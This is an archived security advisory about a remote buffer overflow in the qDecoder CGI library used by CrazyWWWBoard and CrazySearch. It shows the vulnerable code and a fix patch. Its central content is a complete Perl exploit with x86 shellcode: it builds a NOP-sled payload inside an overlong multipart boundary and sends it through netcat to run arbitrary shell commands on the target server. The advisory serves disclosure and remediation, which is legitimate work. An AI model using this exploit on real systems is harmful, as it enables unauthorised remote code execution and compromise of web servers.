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TUCoPS :: Web BBS :: etc :: cwb.htm

CrazyWWWBoard Buffer Overflow



Vulnerability

    CrazyWWWBoard

Affected

    CrazyWWWBoard version 2000px, 2000LEpx, 98, 98PE, 3.0.1, CrazySearch 1.0.1 CGIs using qDecoder 4.0 ~ 5.0.8

Description

    Jin-Ho You found following.  CrazyWWWBoard is a web bulletin board
    program written in C/C++.   Insufficient boundary checking  exists
    in the qDecoder CGI library code which handles multipart/form-data
    MIME entities.  You can get qDecoder from

        http://www.qdecoder.org

    The  boundary  delimeter  over  254  characters  declared  in  the
    Content-Type header line overruns  it's buffer, and allows  remote
    buffer overflow attack.

    There are other CGI  programs using the vulnerable  qDecoder, such
    as CrazySearch.  They  have the string "_parse_multipart_data"  in
    the excution program.

    Following codes  in qDecoder.c  of v4.0  ~ 5.0.8  shows the buffer
    overflow bug.  sprintf() can make the buffer 'boundary'  overflow.
    qDecoder of C++  version used in  some CrazyWWW2000 series  should
    have the same bug.

        int _parse_multipart_data(void) {
          ...
          char boundary[0xff], boundaryEOF[0xff];
          ...
          sprintf(boundary, "--%s", strstr(getenv("CONTENT_TYPE"), "boundary=") + strlen("boundary="));
          ...
        }

    Exploit:

    #!/usr/bin/perl
    # crazy.pl
    #
    # CrazyWWWBoard.cgi Remote Buffer Overflow Exploit for i386 Linux
    #
    # CGIs using qDecoder 4.0~5.0.8 are vulnerable to boundary delimeter
    # over 254 characters in the header "Content-Type: multipart/form-data".
    #
    # nc, the netcat program is required.
    #
    # Programmed by Jin Ho You, jhyou@chonnam.chonnam.ac.kr, 03/26/2000
    
    $nc_path = "nc";        # path of netcat program
    
    $usage =
    "usage: crazy.pl [options] CGI-URL\n
      CGI-URL        URL of the target CGI
      -c command     Bourne shell command
                     Default: '/bin/echo 00ps, Crazy!'
      -o offset      Offset of the egg shell code,
                     Recommended [-300,+300]
    
    example)
      crazy.pl http://target.com:8080/cgi-bin/vulnerable.cgi
      crazy.pl -o -47 target.com/cgi-bin/vulnerable.cgi
      crazy.pl -c 'echo vulnerable.cgi has a security hole! | mail root' \\
               target.com/cgi-bin/vulnerable.cgi
    
    ";
    
    require 'getopt.pl';
    Getopt('oc');
    
    if ($#ARGV < 0) {
        print $usage;
        exit(0);
    };
    
    $cgiurl = $ARGV[0];
    $command = $opt_c ? $opt_c : "/bin/echo 00ps, Crazy!";
    $offset = $opt_o ? $opt_o : 0;
    
    $cgiurl =~ s/http:\/\///;
    ($host, $cgiuri) = split(/\//, $cgiurl, 2);
    ($host, $port) = split(/:/, $host);
    $port = 80 unless $port;
    $command = "/bin/echo Content-Type: text/html;/bin/echo;($command)";
    $cmdlen = length($command);
    $argvp = int((0x0b + $cmdlen) / 4) * 4 + 4;
    $shellcode =
      "\xeb\x37"                            # jmp 0x37
    . "\x5e"                                # popl %esi
    . "\x89\x76" . pack(C, $argvp)          # movl %esi,0xb(%esi)
    . "\x89\xf0"                            # movl %esi,%eax
    . "\x83\xc0\x08"                        # addl $0x8,%eax
    . "\x89\x46" . pack(C, $argvp + 4)      # movl %eax,0xb(%esi)
    . "\x89\xf0"                            # movl %esi,%eax
    . "\x83\xc0\x0b"                        # addl $0xb,%eax
    . "\x89\x46" . pack(C, $argvp + 8)      # movl %eax,0xb(%esi)
    . "\x31\xc0"                            # xorl %eax,%eax
    . "\x88\x46\x07"                        # movb %eax,0x7(%esi)
    . "\x4e"                                # dec %esi
    . "\x88\x46\x0b"                        # movb %eax,0xb(%esi)
    . "\x46"                                # inc %esi
    . "\x88\x46" . pack(C, 0x0b + $cmdlen)  # movb %eax,0xb(%esi)
    . "\x89\x46" . pack(C, $argvp + 12)     # movl %eax,0xb(%esi)
    . "\xb0\x0b"                            # movb $0xb,%al
    . "\x89\xf3"                            # movl %esi,%ebx
    . "\x8d\x4e" . pack(C, $argvp)          # leal 0xb(%esi),%ecx
    . "\x8d\x56" . pack(C, $argvp + 12)     # leal 0xb(%esi),%edx
    . "\xcd\x80"                            # int 0x80
    . "\x31\xdb"                            # xorl %ebx,%ebx
    . "\x89\xd8"                            # movl %ebx,%eax
    . "\x40"                                # inc %eax
    . "\xcd\x80"                            # int 0x80
    . "\xe8\xc4\xff\xff\xff"                # call -0x3c
    . "/bin/sh0-c0"                         # .string "/bin/sh0-c0"
    . $command;
    $offset -= length($command) / 2 + length($host . $port , $cgiurl);
    $shelladdr = 0xbffffbd0 + $offset;
    $noplen = 242 - length($shellcode);
    $jump = $shelladdr + $noplen / 2;
    $entries = $shelladdr + 250;
    $egg = "\x90" x $noplen . $shellcode . pack(V, $jump) x 9
            . pack(V, $entries) x 2 . pack(V, $jump) x 2;
    
    $content = substr($egg, 254) .
      "--\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n0\r\n--$egg--\r\n";
    $contentlength = length($content);
    
    printf STDERR "Jump to 0x%x\n", $jump;
    
    open(HTTP, "|$nc_path $host $port");
    select(HTTP); $|= 1;
    print HTTP <<__HEADER__;
    POST /$cgiuri HTTP/1.0
    Connection: Keep-Alive
    User-Agent: Mozilla/4.72 [ko] (X11; I; Linux 2.2.14 i686)
    Host: $host:$port
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
    Accept-Encoding: gzip
    Accept-Language: ko
    Accept-Charset: euc-kr,*,utf-8
    Content-type: multipart/form-data; boundary=$egg
    Content-length: $contentlength
    
    $content
    __HEADER__
    close(HTTP);

Solution

    CrazyWWWBoard2000LEp5-1 is safe.  You can download bug-fixed Light
    Edition version from

        ftp://ftp.nobreak.com/pub/SOTNAL/CrazyWWWBoard2000LEp5-1/

    Recently distributed CrazyWWWBoard 2000 (SOTNAL v1.5.x) should  be
    bug fixed.

    Following patch forces boundary checking  to fix the problem.   If
    you  have   the  source   program  of   CrazyWWWBoard  3.0.1    or
    CrazyWWWBoard 98PE,  the following  patch is  required.   qDecoder
    library must be upgrade to 6.x version.

    --- qDecoder-4.0/qDecoder.c.orig        Tue Nov  4 09:09:16 1997
    +++ qDecoder-4.0/qDecoder.c     Thu Mar 30 20:08:29 2000
    @@ -180,10 +180,17 @@
       int  c, c_count;

       int  finish;
    +  int  boundary_len;

       entries = back = NULL;

       /* find boundary string */
    +
    +  /* force to check the boundary string length */
    +  boundary_len = strlen(strstr(getenv("CONTENT_TYPE"), "boundary=") + strlen("boundary"));
    +  if (boundary_len >= sizeof(boundary) - strlen("\r\n----"))
    +     qError("_parse_multipart_data() : the boundary string is too long!.");
    +
       sprintf(boundary,    "--%s", strstr(getenv("CONTENT_TYPE"), "boundary=") + strlen("boundary="));
   /* This is not necessary but, I can not trust MS Explore */
       qRemoveSpace(boundary);


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